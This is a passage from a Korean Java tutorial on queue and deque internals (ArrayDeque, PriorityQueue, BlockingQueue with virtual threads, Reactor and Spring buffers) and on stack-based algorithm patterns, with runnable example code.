덱 쪽에서 진짜 새것은 reversed() 하나입니다. 덕분에 "Stack 처럼 바닥부터 순회"가 for (var x : st.reversed()) 한 줄이 됐습니다. descendingIterator() 를 쓰던 코드를 대체합니다.
정리 — 큐는 Queue<E> q = new ArrayDeque<>() + offer · poll · peek. null 은 "비었음" 신호라 원소로 넣을 수 없고, remove(0) 큐는 O(n) 입니다.
SQ 04

덱의 속 — ArrayDeque 원형 배열을 JDK 25 소스로 뜯어 보기

ArrayDeque 는 배열 한 장 + 인덱스 두 개(head, tail)가 전부입니다. 원소를 옮기지 않고 인덱스만 돌리기 때문에 앞뒤 어느 쪽 연산도 O(1) 입니다. 아래 그림의 상태값은 상상이 아니라 JDK 25.0.1 에서 리플렉션으로 내부 필드를 직접 찍은 값입니다.

new ArrayDeque<>(7) — 배열 길이 8, 진한 칸이 원소, H=head · T=tail 0 1 2 3 4 5 6 7 ① addLast 1~5 1 2 3 4 5 H T head 0 · tail 5 ② poll ×2 후 addLast 6, 7, 8 3 4 5 6 7 8 T H head 2 · tail 0 tail 이 끝을 넘어 0 으로 ③ addFirst 0 0 3 4 5 6 7 8 T H head 1 · tail 0 빈 칸은 tail 하나뿐 ④ 여기서 addFirst(-1) 이면 head 가 tail 을 따라잡아 꽉 참 → 그 즉시 길이 18 로 복사 원소를 한 칸도 옮기지 않고 head 와 tail 숫자만 돌립니다 — 그래서 양끝이 O(1)
메모리 레이아웃 — tail 칸은 항상 비어 있습니다. 그 빈 칸이 "비었음"과 "꽉 참"을 구분하는 장치입니다.

JDK 25 소스 — addFirst · addLast 의 전부

// java.util.ArrayDeque (JDK 25) — 주석만 줄임
transient Object[] elements;  // 원소가 없는 칸은 항상 null
transient int head;           // 다음에 poll/pop 될 칸
transient int tail;           // 다음에 addLast 될 칸 (항상 null)

public void addFirst(E e) {
    if (e == null) throw new NullPointerException();
    final Object[] es = elements;
    es[head = dec(head, es.length)] = e;   // head 를 한 칸 뒤로(원형)
    if (head == tail) grow(1);             // 따라잡았으면 = 꽉 찼으면 키운다
}

public void addLast(E e) {
    if (e == null) throw new NullPointerException();
    final Object[] es = elements;
    es[tail] = e;
    if (head == (tail = inc(tail, es.length))) grow(1);
}

static final int inc(int i, int modulus) { if (++i >= modulus) i = 0; return i; }
static final int dec(int i, int modulus) { if (--i < 0) i = modulus - 1; return i; }

직접 찍어 보기 — Peek.java

import java.lang.reflect.Field;
import java.util.*;

// 실행: java --add-opens java.base/java.util=ALL-UNNAMED Peek.java
public class Peek {
    public static void main(String[] args) throws Exception {
        Field el = ArrayDeque.class.getDeclaredField("elements");
        Field hd = ArrayDeque.class.getDeclaredField("head");
        el.setAccessible(true); hd.setAccessible(true);

        System.out.println(((Object[]) el.get(new ArrayDeque<>())).length); // 17

        var s = new ArrayDeque<Integer>(7);       // 배열 길이 8
        s.push(1); s.push(2); s.push(3);
        System.out.println(hd.get(s) + " " + Arrays.toString((Object[]) el.get(s)));
        // 5 [null, null, null, null, null, 3, 2, 1]
        // push = addFirst → head 가 0 에서 7, 6, 5 로 '뒤로' 감긴다
    }
}
스택으로 쓰면 배열 끝에서부터 왼쪽으로 쌓입니다. 그래서 순회(head → tail)가 꼭대기부터 나옵니다 — SQ 02 의 순회 순서 차이가 여기서 나옵니다. --add-opens 는 학습용입니다. 실무 코드에서 JDK 내부를 열지 마세요.

늘어나는 규칙 — 작을 땐 2배, 64 부터는 1.5배 🟡 중급

기본 생성자 배열 길이 — 실측(JDK 25) vs Java 8 방식(점선) 0 200 400 칸 2의 거듭제곱 512 (Java 8) 17 36 74 111 166 249 373 559 64 미만: 길이 + 2 만큼 64 이상: 길이의 절반만큼 (1.5배) 가로축은 늘어난 횟수 — 실선 점마다 Arrays.copyOf 한 번
꺾은선 — 지금의 ArrayDeque 는 2의 거듭제곱이 아닙니다. Java 8 의 비트마스크 구현은 그 뒤 다시 쓰였습니다.

grow() 의 핵심 세 줄 (JDK 25)

private void grow(int needed) {
    final int oldCapacity = elements.length;
    // Double capacity if small; else grow by 50%
    int jump = (oldCapacity < 64) ? (oldCapacity + 2) : (oldCapacity >> 1);
    // ... 오버플로 검사 후
    final Object[] es = elements = Arrays.copyOf(elements, newCapacity);
    // 감겨 있던(tail < head) 앞쪽 조각을 새 배열의 끝으로 밀어 붙인다
    if (tail < head || (tail == head && es[head] != null)) {
        int newSpace = newCapacity - oldCapacity;
        System.arraycopy(es, head, es, head + newSpace, oldCapacity - head);
        // ... 옛 자리는 null 로
    }
}
원소 수를 알면 생성자에 넘기세요. new ArrayDeque<>(n) 은 길이 n + 1 배열을 바로 잡아 복사를 0번으로 만듭니다(빈 칸 하나가 필요해서 +1). BFS 처럼 최대 크기가 정해진 곳에서 효과가 있습니다.

Java 8 과 지금 — 같은 이름, 다른 구현

항목Java 8Java 11 이후 (25 포함)
기본 배열 길이1617 (16 + 빈 칸 1)
용량 규칙항상 2의 거듭제곱아무 길이나
인덱스 감기(i + 1) & (len - 1) 비트마스크inc/dec 비교 분기
늘리는 법꽉 차면 항상 2배64 미만 약 2배, 이상 1.5배
꽉 찬 판정넣은 뒤 head == tail넣은 뒤 head == tail (같음)
이 비교는 이 PC 의 JDK 8·11·25 src.zip 을 직접 열어 확인한 것입니다. 정확히 몇 버전에서 바뀌었는지는 여기서 단정하지 않습니다 — "2의 거듭제곱 용량"은 옛 설명이라는 것만 기억하세요.

연산별 비용 — ArrayDeque 에서 느린 것은 따로 있다 🟢 기초

연산비용이유
addFirst/addLast/offer/push분할 상환 O(1)대부분 O(1), 가끔 grow 의 O(n) 복사 — 평균하면 상수
pollFirst/pollLast/pop/peek*O(1)칸을 null 로 비우고 인덱스만 이동. 줄어들지는 않습니다
size()O(1)tail - head 를 원형으로 계산
contains(o) · remove(o)O(n)처음부터 훑음. remove 는 뒤쪽 원소를 당기기까지
removeFirstOccurrence · removeIfO(n)중간 삭제가 필요하면 덱이 맞는 도구가 아닐 수 있습니다
인덱스 접근 get(i)없음의도적으로 제공하지 않습니다
ArrayDeque 는 줄어들지 않습니다. 한때 100만 개가 들어갔던 덱은 비운 뒤에도 100만 칸 배열을 붙들고 있습니다. 오래 사는 객체의 필드라면 피크가 지난 뒤 new ArrayDeque<>() 로 갈아 끼우는 것이 메모리를 돌려받는 유일한 방법입니다(clear() 는 칸만 비웁니다).
정리 — ArrayDeque = 배열 + head + tail. tail 칸은 항상 비어 있고, 꽉 차는 순간 늘리며(64 미만 약 2배, 이상 1.5배), 줄어들지는 않습니다.
SQ 05

우선순위 큐 — PriorityQueue 는 정렬된 목록이 아니다

PriorityQueue 는 배열에 저장한 이진 최소 힙입니다. poll() 은 항상 가장 작은 것을 꺼내지만, 배열 자체는 정렬돼 있지 않습니다. 그래서 출력해 보면 엉뚱한 순서가 나오고, 원소를 넣은 뒤에 바꾸면 힙이 조용히 깨집니다. 힙 이론은 CS 가이드에 맡기고, 여기서는 자바 API 가 어떻게 동작하고 어디서 사고가 나는지만 봅니다.

PriorityQueue(List.of(5, 1, 4, 2, 3)) — 배열과 그 배열이 뜻하는 트리 내부 배열 queue[] 1 2 4 5 3 [0] [1] [2] [3] [4] toString · for-each 는 이 순서 그대로 → [1, 2, 4, 5, 3] (정렬 아님) 자식 = 2i+1, 2i+2 · 부모 = (i-1)/2 1 2 4 5 3 [0] poll 은 늘 여기 [2] [1] [3] [4] 규칙은 "부모 ≤ 자식" 하나뿐 — 형제(5 와 3)끼리는 순서가 없습니다
배열 ↔ 트리 — 맨 앞(0번)만 확실히 최솟값입니다. 나머지 순서는 힙 규칙만 지킬 뿐 정렬이 아닙니다.

기본 사용 · 최대 힙 · 다중 키 — Pq.java

import java.util.*;

public class Pq {
    record Task(String name, int priority, long createdAt) {}

    public static void main(String[] args) {
        var min = new PriorityQueue<Integer>(List.of(5, 1, 4, 2, 3));
        System.out.println(min);              // [1, 2, 4, 5, 3]  ← 힙 배열 순서
        StringBuilder sb = new StringBuilder();
        while (!min.isEmpty()) sb.append(min.poll()).append(' ');
        System.out.println(sb.toString().trim()); // 1 2 3 4 5  ← poll 해야 정렬 순

        var max = new PriorityQueue<Integer>(Comparator.reverseOrder()); // 최대 힙
        max.addAll(List.of(5, 1, 4, 2, 3));
        System.out.println(max.poll() + " " + max.poll());   // 5 4

        var tasks = new PriorityQueue<Task>(
            Comparator.comparingInt(Task::priority)          // ① 우선순위 작은 것 먼저
                      .thenComparingLong(Task::createdAt));  // ② 같으면 먼저 온 것 먼저
        tasks.add(new Task("배포", 2, 30));
        tasks.add(new Task("장애", 1, 20));
        tasks.add(new Task("문서", 3, 10));
        tasks.add(new Task("보안패치", 1, 25));
        while (!tasks.isEmpty()) System.out.print(tasks.poll().name() + " ");
        System.out.println();   // 장애 보안패치 배포 문서
    }
}

같은 우선순위는 순서를 보장하지 않는다

PriorityQueue 는 안정(stable)하지 않습니다. 비교 결과가 0 인 두 원소는 넣은 순서와 관계없이 아무 순서로 나올 수 있습니다. "같은 우선순위면 먼저 온 것부터"가 필요하면 위처럼 두 번째 키(생성 시각·일련번호)를 비교자에 붙여야 합니다.

// 일련번호를 붙여 FIFO 를 보장하는 흔한 패턴
record Entry<T>(int prio, long seq, T value) {}
var seq = new java.util.concurrent.atomic.AtomicLong();
var pq = new PriorityQueue<Entry<String>>(
    Comparator.comparingInt((Entry<String> e) -> e.prio())
              .thenComparingLong(Entry::seq));
pq.add(new Entry<>(1, seq.getAndIncrement(), "first"));
pq.add(new Entry<>(1, seq.getAndIncrement(), "second"));
System.out.println(pq.poll().value());   // first — 항상
TreeSet 으로 우선순위 큐를 흉내 내지 마세요. TreeSet 은 비교 결과 0 인 원소를 중복으로 보고 버립니다. 우선순위가 같은 작업 두 개 중 하나가 조용히 사라집니다.

가장 흔한 사고 — 넣은 뒤에 값을 바꾸면 힙이 깨진다 🟡 중급

필드를 바꾸고 끝 — 힙은 모른다
class Job { String name; int prio; /* ... */ }

var jobs = new PriorityQueue<Job>(Comparator.comparingInt(j -> j.prio));
Job a = new Job("a", 1), b = new Job("b", 2), c = new Job("c", 3);
jobs.add(a); jobs.add(b); jobs.add(c);

c.prio = 0;                        // c 를 가장 급하게 바꿨지만
System.out.println(jobs.poll());   // a:1  ← c 가 아니다!
꺼냈다가 다시 넣기 (또는 불변 레코드)
jobs.remove(c);     // O(n) 탐색 + O(log n) 재정렬
c.prio = 0;
jobs.add(c);        // 이제 제자리로 올라간다
System.out.println(jobs.poll());   // c:0

// 더 좋은 방법: 원소를 불변(record)으로 두고
// "바꾸기" = 새 원소를 넣고 옛 원소는 꺼낼 때 버리기 (아래 다익스트라)
PriorityQueue 는 원소를 넣을 때(siftUp)와 꺼낼 때(siftDown)만 비교합니다. 원소 내부가 바뀌었다는 걸 알 방법이 없습니다. 표준 라이브러리에는 decrease-key 연산이 없습니다. 그래서 자바 다익스트라는 "새로 넣고, 꺼낼 때 낡은 항목을 건너뛰는" 지연 삭제 방식이 표준 관용구입니다.

실전 두 가지 — top-k 와 다익스트라 🔴 고급

top-k — 크기 k 짜리 최소 힙

// 가장 큰 3개: 전체 정렬 O(n log n) 대신 O(n log k)
int[] data = {7, 42, 3, 19, 88, 5, 61, 23};
var heap = new PriorityQueue<Integer>();     // 최소 힙!
for (int x : data) {
    heap.offer(x);
    if (heap.size() > 3) heap.poll();        // 가장 작은 것을 버린다
}
List<Integer> top = new ArrayList<>(heap);
top.sort(Comparator.reverseOrder());
System.out.println(top);   // [88, 61, 42]
"큰 것 k 개"에는 최소 힙, "작은 것 k 개"에는 최대 힙. 힙 꼭대기가 "지금 커트라인"이 됩니다. 로그에서 응답이 가장 느린 요청 100개 뽑기 같은 일에 그대로 씁니다. 데이터가 1억 줄이어도 메모리는 k 개뿐입니다.

다익스트라 — 지연 삭제 관용구

record Edge(int to, int w) {}
record State(int node, long dist) {}

static long[] dijkstra(List<List<Edge>> g, int src) {
    long[] dist = new long[g.size()];
    Arrays.fill(dist, Long.MAX_VALUE);
    dist[src] = 0;
    var pq = new PriorityQueue<State>(Comparator.comparingLong(State::dist));
    pq.add(new State(src, 0));
    while (!pq.isEmpty()) {
        State s = pq.poll();
        if (s.dist() > dist[s.node()]) continue;   // 낡은 항목 → 건너뜀
        for (Edge e : g.get(s.node())) {
            long nd = s.dist() + e.w();
            if (nd < dist[e.to()]) {
                dist[e.to()] = nd;
                pq.add(new State(e.to(), nd));     // 고치지 않고 새로 넣는다
            }
        }
    }
    return dist;
}
// 0→1(4) 0→2(1) 2→1(2) 1→3(1) 2→3(5) 이면
// [0, 3, 1, 4] — 낡은 항목 2개는 건너뜀
PriorityQueue 연산비용메모
offer · pollO(log n)siftUp / siftDown
peek · sizeO(1)0번 칸
remove(o) · contains(o)O(n)선형 탐색 — 잦으면 다른 구조(TreeMap 등)를 검토
new PriorityQueue<>(collection)O(n)한 번에 힙 만들기(heapify). 하나씩 add 하면 O(n log n)
정렬 순서로 전부 보기O(n log n)pq.stream().sorted() 또는 복사본을 poll — 원본 순회는 정렬이 아님
정리 — PriorityQueue 는 맨 앞만 보장하는 힙입니다. 같은 우선순위엔 두 번째 키를, 원소는 불변으로, 바꿀 땐 꺼냈다 다시 넣기.
SQ 06

스레드 안전 큐 — BlockingQueue 와 가상 스레드, 그리고 깔끔한 종료

여러 스레드가 한 큐를 공유하면 ArrayDeque 는 쓸 수 없습니다. java.util.concurrent 에는 큐가 열 가지 가까이 있는데, 고르는 기준은 세 가지뿐입니다 — 기다려야 하나(블로킹), 크기 상한이 있나(배압), 순서 규칙이 특별한가. 동시성 기초(스레드 풀·락)는 고급·동시성 탭 ADV 06 에 있고, 여기서는 큐 자체에 집중합니다.

클래스상한대기내부이럴 때
ArrayBlockingQueue필수put/take배열 + 락 1개생산자-소비자 기본값. 메모리 고정, 공정성 옵션(new ArrayBlockingQueue<>(n, true))
LinkedBlockingQueue선택 (기본 무한)put/take노드 + 락 2개 (put·take 분리)넣기·빼기가 둘 다 바쁠 때. 반드시 용량을 넘기세요
LinkedBlockingDeque선택양끝 대기노드 + 락 1개작업 훔치기·양끝 대기가 필요할 때(드묾)
ConcurrentLinkedQueue없음안 함CAS (락 없음)기다릴 필요 없는 공유 큐. size() 가 O(n)
ConcurrentLinkedDeque없음안 함CAS락 없는 공유 스택·덱
PriorityBlockingQueue없음take 만힙 + 락스레드 간 우선순위 작업. put 은 절대 안 막힘 → 상한은 직접
DelayQueue없음take 만PriorityQueue + 락"이 시각 이후에 꺼내라" — 재시도·만료 (SQ 12)
SynchronousQueue0손에서 손으로—버퍼 없이 바로 건네기. newCachedThreadPool 의 큐
LinkedTransferQueue없음transferCAS"받는 사람이 가져갈 때까지" 기다리는 넣기가 필요할 때
세로가 시간 — 큐가 가득 차거나 비면 그 자리에서 "기다림"이 생깁니다 생산자 ×3 큐 (용량 100) 소비자 ×4 main 1. put(order) 2. take() order 3. put — 꽉 차서 멈춤 4. take — 자리 생김 생산자 깨어남 5. put(PILL) × 4 6. PILL → return 실선은 호출 · 점선은 돌려받는 값 — 세로 막대는 생산자가 잠들어 있는 구간
시퀀스 — 유한 큐가 곧 배압입니다. 소비가 느리면 생산자가 저절로 느려지고, 종료는 독약 메시지로 알립니다.

완전한 예제 — 가상 스레드 + 독약 (Java 25)

import java.util.*;
import java.util.concurrent.*;
import java.util.concurrent.atomic.LongAdder;

public class ProdCons {
    sealed interface Msg permits Order, Stop {}
    record Order(int id, long amount) implements Msg {}
    enum Stop implements Msg { PILL }         // 독약 — 싱글턴이면 충분

    public static void main(String[] args) throws Exception {
        final int PRODUCERS = 3, CONSUMERS = 4, PER_PRODUCER = 1_000;
        BlockingQueue<Msg> queue = new ArrayBlockingQueue<>(100); // ★ 유한
        LongAdder handled = new LongAdder(), total = new LongAdder();

        try (var exec = Executors.newVirtualThreadPerTaskExecutor()) {
            for (int c = 0; c < CONSUMERS; c++) {
                exec.submit(() -> {
                    while (true) {
                        switch (queue.take()) {             // 비면 가상 스레드만 잠든다
                            case Stop s -> { return null; }   // 독약 → 종료
                            case Order(var _, long amount) -> {   // Java 22+ 이름 없는 패턴
                                total.add(amount); handled.increment();
                            }
                        }
                    }
                });
            }
            List<Future<?>> producers = new ArrayList<>();
            for (int p = 0; p < PRODUCERS; p++) {
                final int base = p * PER_PRODUCER;
                producers.add(exec.submit(() -> {
                    for (int i = 0; i < PER_PRODUCER; i++)
                        queue.put(new Order(base + i, 10));  // 꽉 차면 대기
                    return null;
                }));
            }
            for (Future<?> f : producers) f.get();              // ① 생산 완료 확인
            for (int c = 0; c < CONSUMERS; c++) queue.put(Stop.PILL); // ② 소비자 수만큼
        }   // ③ close() 가 모든 가상 스레드 종료를 기다린다

        System.out.println("처리 " + handled.sum() + "건 · 합계 " + total.sum());
        // 처리 3000건 · 합계 30000
        System.out.println("남은 것 " + queue.size());   // 남은 것 0
    }
}

이 예제에서 짚을 것

줄왜
ArrayBlockingQueue(100)상한이 있어야 소비가 느릴 때 메모리가 아니라 생산자가 기다립니다
sealed Msg + enum Stop독약을 타입으로 구분. null·특수 id(-1) 같은 약속보다 안전하고, switch 가 빠짐없이 검사됩니다
독약 = 소비자 수한 개만 넣으면 소비자 하나만 끝나고 셋은 영원히 take() 에서 기다립니다
f.get() 뒤에 독약생산이 덜 끝났는데 독약을 넣으면 그 뒤의 주문이 처리되지 않습니다
try (var exec = ...)Java 19+ ExecutorService 는 AutoCloseable. close 가 종료를 기다립니다
가상 스레드에서 take() 는 공짜에 가깝습니다. 블로킹되면 가상 스레드는 캐리어(OS 스레드)를 내려놓고 대기합니다. 소비자를 수천 개 만들어도 OS 스레드는 코어 수 정도입니다. 그래서 Java 21+ 에서는 "블로킹 큐 + 가상 스레드"가 다시 가장 단순한 정답이 됐습니다.
독약 대신 인터럽트? shutdownNow() 는 대기 중인 take() 에 InterruptedException 을 던져 멈출 수 있지만, 큐에 남은 작업은 버려집니다. "남은 것까지 다 처리하고 끝"이면 독약, "당장 멈춤"이면 인터럽트입니다.

작업 큐 하나가 스레드 풀 동작을 바꾼다 — ThreadPoolExecutor 실측 🔴 고급

core 2 · max 10 풀에 작업을 계속 넣었을 때 (JDK 25 실측) 실행 중 스레드 큐에서 대기 0 10 20 30 40 50개 LinkedBlockingQueue() 2 — max 10 은 영영 안 씀 48 ArrayBlockingQueue(20) 10 20 — 다 찬 뒤에야 스레드 증가 SynchronousQueue 10 — 바로 최대까지 0 (11번째부터 거절 정책) 순서는 core → 큐 → max → 거절. 큐가 무한이면 "큐가 찬다"가 오지 않습니다
막대 — 무한 큐를 쓰면 maximumPoolSize 는 장식입니다. 큐 종류가 풀의 성격을 정합니다.

실측 코드 — PoolQueue.java

import java.util.concurrent.*;

public class PoolQueue {
    static void run(String name, BlockingQueue<Runnable> q) throws Exception {
        var pool = new ThreadPoolExecutor(2, 10, 30, TimeUnit.SECONDS, q,
                new ThreadPoolExecutor.CallerRunsPolicy());
        var latch = new CountDownLatch(1);       // 작업이 안 끝나게 붙잡아 둔다
        for (int i = 0; i < 50; i++) {
            pool.execute(() -> {
                try { latch.await(); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
            });
            // 다음 작업이 CallerRuns 로 main 을 막기 전에 멈춘다
            if (pool.getPoolSize() == 10 && q.remainingCapacity() == 0) break;
        }
        System.out.printf("%-24s 스레드 %2d개 · 대기 %2d개%n", name, pool.getPoolSize(), q.size());
        latch.countDown();
        pool.shutdown();
        pool.awaitTermination(5, TimeUnit.SECONDS);
    }
    public static void main(String[] args) throws Exception {
        run("LinkedBlockingQueue()", new LinkedBlockingQueue<>());
        run("ArrayBlockingQueue(20)", new ArrayBlockingQueue<>(20));
        run("SynchronousQueue", new SynchronousQueue<>());
    }
}
// LinkedBlockingQueue()    스레드  2개 · 대기 48개
// ArrayBlockingQueue(20)   스레드 10개 · 대기 20개
// SynchronousQueue         스레드 10개 · 대기  0개

Executors 팩토리가 고른 큐

팩토리작업 큐결과
newFixedThreadPool(n)LinkedBlockingQueue (무한)밀리면 큐가 끝없이 자람 → OOM
newSingleThreadExecutor()LinkedBlockingQueue (무한)같음
newCachedThreadPool()SynchronousQueue밀리면 스레드가 끝없이 늘어남
newScheduledThreadPool(n)DelayedWorkQueue (내부 힙)시각 순으로 꺼냄
newVirtualThreadPerTaskExecutor()없음작업마다 가상 스레드. 동시성 제한은 Semaphore 로
운영 서버의 풀은 유한 큐 + 거절 정책을 직접 고르세요. 거절 정책 네 가지와 크기 공식은 ADV 06 에 있습니다. CallerRunsPolicy 는 제출한 스레드가 직접 실행하게 만들어 생산 속도를 늦추는, 가장 손쉬운 배압입니다.
정리 — 스레드 사이 큐는 유한 BlockingQueue(기본 ArrayBlockingQueue), 종료는 소비자 수만큼의 독약. 풀을 만들 땐 큐 종류가 동작을 바꾼다는 걸 기억하세요.
SQ 07

비동기 · 스트림 — 버퍼에 상한을 두는 큐들

비동기 코드에서도 큐는 사라지지 않습니다. 이름이 버퍼로 바뀔 뿐입니다. 빠른 생산자와 느린 소비자 사이에는 반드시 어딘가에 쌓이는 곳이 생기고, 그 크기를 정하지 않으면 메모리가 정합니다(OOM). JDK 표준 Flow API, Reactor 의 Sinks, Spring 의 작업 큐를 차례로 봅니다.

SubmissionPublisher (JDK 9+) — 구독자마다 상한 있는 버퍼가 하나씩 생산자 offer · submit 구독자별 버퍼 최대 N (2의 거듭제곱) 실행기 onNext 호출 구독자 request(n) 가득 차면 → 아래 두 갈래 "n 개 더 줘" — 배압 신호 submit(v) — 자리가 날 때까지 생산자가 멈춤 (인터럽트도 안 받음) offer(v, onDrop) — 기다리지 않음. onDrop 이 false 면 버림, true 면 한 번 더 시도 BlockingQueue 의 put / offer 와 같은 두 갈래가 비동기 세계에도 그대로 있습니다
파이프라인 — 비동기 버퍼도 결국 유한 큐입니다. 가득 찼을 때 멈출지, 버릴지를 먼저 정해야 합니다.

JDK 만으로 — Pub.java (의존성 0)

import java.util.concurrent.*;

public class Pub {
    public static void main(String[] args) throws Exception {
        try (var pub = new SubmissionPublisher<Integer>(
                Executors.newVirtualThreadPerTaskExecutor(), 4)) {  // 버퍼 상한 4
            var done = new CountDownLatch(1);
            pub.subscribe(new Flow.Subscriber<>() {
                Flow.Subscription sub; int sum;
                public void onSubscribe(Flow.Subscription s) { sub = s; s.request(1); }
                public void onNext(Integer v) {
                    try { Thread.sleep(5); } catch (InterruptedException e) { }  // 느린 소비자
                    sum += v;
                    sub.request(1);                    // 하나 처리했으니 하나 더
                }
                public void onError(Throwable t) { t.printStackTrace(); }
                public void onComplete() { System.out.println("합계 " + sum); done.countDown(); }
            });
            int dropped = 0;
            for (int i = 1; i <= 20; i++) {
                // 반환값이 음수면 '버려진 개수'
                int lag = pub.offer(i, (s, v) -> false);   // false = 다시 시도하지 말고 버려라
                if (lag < 0) dropped++;
            }
            System.out.println("버린 것 > 0 : " + (dropped > 0));  // 버린 것 > 0 : true
            pub.close();       // 남은 버퍼를 다 보낸 뒤 onComplete
            done.await();      // 합계 10 (실행마다 달라질 수 있음 — 무엇이 버려졌는지에 따라)
        }
    }
}
이 PC 에서는 합계 10(1~4 만 받고 나머지는 버림)이 나왔지만, 버려지는 값은 타이밍에 따라 달라집니다. "버린다"를 고른 순간 결과가 비결정적이 된다는 것도 함께 기억하세요.

Reactor Sinks — 프로그램 코드에서 Flux 로 밀어 넣기

// Reactor 3.4+ (Spring WebFlux 에 포함)
Sinks.Many<String> sink = Sinks.many()
        .multicast()
        .onBackpressureBuffer(256);      // ★ 구독자가 느리면 256개까지 버퍼

Flux<String> events = sink.asFlux();   // 구독자에게 내보내는 쪽

// 이벤트 리스너 · 콜백 등 '밀어 넣는' 쪽
Sinks.EmitResult r = sink.tryEmitNext("order-created");
if (r.isFailure()) {
    // FAIL_OVERFLOW       : 버퍼가 가득 참 → 버리기/로그/재시도 결정
    // FAIL_NON_SERIALIZED : 두 스레드가 동시에 emit → 직렬화 필요
    // FAIL_ZERO_SUBSCRIBER: 구독자가 없음 (directBestEffort 등 버퍼 없는 sink)
    log.warn("emit 실패: {}", r);
}

// 다른 종류
Sinks.many().unicast().onBackpressureBuffer();   // 구독자 1명, 기본은 사실상 무한 큐!
Sinks.many().replay().limit(10);                 // 늦게 온 구독자에게 최근 10개 재생
unicast().onBackpressureBuffer() 의 인자 없는 형태는 상한이 없는 큐를 씁니다. 구독자가 멈추면 끝없이 쌓입니다. 큐를 직접 넘기는 오버로드(onBackpressureBuffer(Queue))로 상한 있는 큐를 주세요.
onBackpressureBuffer/Drop/Latest/Error 네 전략의 비교는 WebFlux 탭 F07 에 있습니다. 여기서는 "그것도 결국 큐다"까지만.

Spring 의 작업 큐 — 기본값이 무한입니다 🟡 중급

@Async · ThreadPoolTaskExecutor

# application.yml — Spring Boot 의 @Async 기본 실행기 설정
spring:
  task:
    execution:
      pool:
        core-size: 8            # Boot 기본값 8
        max-size: 16            # ★ 큐가 무한이면 이 값은 쓰이지 않음 (SQ 06 실측)
        queue-capacity: 500     # ★ 기본값은 무한 — 반드시 정하세요
      thread-name-prefix: async-
@Bean
ThreadPoolTaskExecutor reportExecutor() {
    var ex = new ThreadPoolTaskExecutor();
    ex.setCorePoolSize(4);
    ex.setMaxPoolSize(8);
    ex.setQueueCapacity(200);   // 0 이면 SynchronousQueue, 양수면 LinkedBlockingQueue(n)
    ex.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());
    ex.setThreadNamePrefix("report-");
    ex.initialize();
    return ex;
}

가상 스레드를 켜면 큐가 사라진다

Spring Boot 3.2+ 에서 spring.threads.virtual.enabled=true 를 켜면 @Async 기본 실행기가 작업마다 가상 스레드를 만드는 방식(SimpleAsyncTaskExecutor)으로 바뀝니다. 작업 큐가 없어지고, 그 대신 "동시에 몇 개까지"라는 상한이 사라집니다.

방식밀리면 어디에 쌓이나상한 거는 법
플랫폼 스레드 풀작업 큐queue-capacity + 거절 정책
가상 스레드가상 스레드 자체(힙)Semaphore · 실행기의 동시 실행 제한
Reactor연산자 버퍼limitRate · onBackpressure*
Kafka · RabbitMQ브로커 디스크보존 기간 · 큐 길이 정책 (서버 가이드)
"큐가 없으니 안전하다"가 아닙니다. 가상 스레드 10만 개가 동시에 DB 커넥션 풀(예: 20개)을 기다리면, 대기열이 커넥션 풀 안으로 옮겨 갈 뿐입니다. 상한은 반드시 어딘가에 하나 있어야 합니다.

가상 스레드 시대의 상한 — Semaphore 로 큐를 대신하기 🔴 고급

// 외부 API 를 동시에 최대 50개만 호출
final Semaphore permits = new Semaphore(50);

try (var exec = Executors.newVirtualThreadPerTaskExecutor()) {
    for (Request req : requests) {
        exec.submit(() -> {
            permits.acquire();          // 51번째부터 여기서 대기 = 보이지 않는 큐
            try {
                return client.call(req);
            } finally {
                permits.release();
            }
        });
    }
}
상황큐로 풀 때Semaphore 로 풀 때
대기 순서큐가 FIFO 로 보장new Semaphore(n, true) 로 공정 모드
대기 길이 제한유한 큐 + 거절tryAcquire(timeout) 실패 시 거절
대기 중 메모리작업 객체만가상 스레드 스택까지 (그래도 수 KB)
모니터링queue.size()getQueueLength() (추정값)
가상 스레드에서는 "작업을 큐에 넣고 스레드 N 개가 꺼내 간다" 대신 "작업마다 스레드, 자원 앞에서 Semaphore" 가 기본 모양입니다. 큐는 여전히 있지만 Semaphore 안쪽 대기열로 들어갔습니다.
정리 — 비동기에서도 버퍼 = 큐입니다. Spring 풀의 queue-capacity, Reactor 의 버퍼 크기, 가상 스레드의 Semaphore 중 어딘가에 상한을 반드시 두세요.
SQ 08

알고리즘 패턴 — 자바다운 코드로 쓰는 여섯 가지

코딩 테스트와 실무에서 스택·큐·덱이 나오는 패턴은 거의 정해져 있습니다. 개념 설명은 CS 가이드에 있으니 여기서는 자바에서 어떤 타입·메서드로 쓰는 게 관용구인지, 그리고 자주 틀리는 한 줄에 집중합니다. 모든 결과는 실제 실행값입니다.

단조 덱 — 창 크기 3, 덱 안의 값은 앞에서 뒤로 항상 줄어듭니다 i · a[i] 덱 (앞 → 뒤) 이번에 버린 것 창 최댓값 0 · 1 1 — 1 · 3 3 1 (뒤에서 · 3 보다 작음) — 2 · -1 3 -1 3 3 · -3 3 -1 -3 3 4 · 5 5 3 (앞 · 창 밖) · -3, -1 (뒤) 5 5 · 3 5 3 5 6 · 6 6 3, 5 (뒤) 6 7 · 7 7 6 (뒤) 7 각 원소는 덱에 한 번 들어가고 한 번 나옵니다 — 전체 O(n), 정렬도 힙도 필요 없습니다
단계별 상태 — 덱의 앞이 곧 답입니다. 뒤에서는 "앞으로 답이 될 수 없는 것"을, 앞에서는 "창 밖"을 버립니다.

① 괄호 검사 — Deque<Character> 스택

static boolean balanced(String s) {
    Deque<Character> st = new ArrayDeque<>();
    for (char ch : s.toCharArray()) {
        switch (ch) {
            case '(', '[', '{' -> st.push(ch);
            case ')', ']', '}' -> {
                if (st.isEmpty()) return false;          // 닫는 게 먼저 옴
                char open = st.pop();
                if ("([{".indexOf(open) != ")]}".indexOf(ch)) return false;
            }
            default -> { }
        }
    }
    return st.isEmpty();                                 // 안 닫힌 게 남음
}
// balanced("{[()()]}") true · balanced("([)]") false · balanced("((") false

② 단조 스택 — 오른쪽의 첫 번째 더 큰 수

static int[] nextGreater(int[] a) {
    int[] ans = new int[a.length];
    Arrays.fill(ans, -1);
    Deque<Integer> st = new ArrayDeque<>();   // ★ 값이 아니라 '인덱스'를 담는다
    for (int i = 0; i < a.length; i++) {
        while (!st.isEmpty() && a[st.peek()] < a[i])
            ans[st.pop()] = a[i];              // 기다리던 것들의 답이 나왔다
        st.push(i);
    }
    return ans;
}
// nextGreater({2, 1, 2, 4, 3}) → [4, 2, 4, -1, -1]
// 주가 "며칠 뒤에 오르나", 온도 "며칠 뒤 더 따뜻해지나" 문제가 전부 이 모양

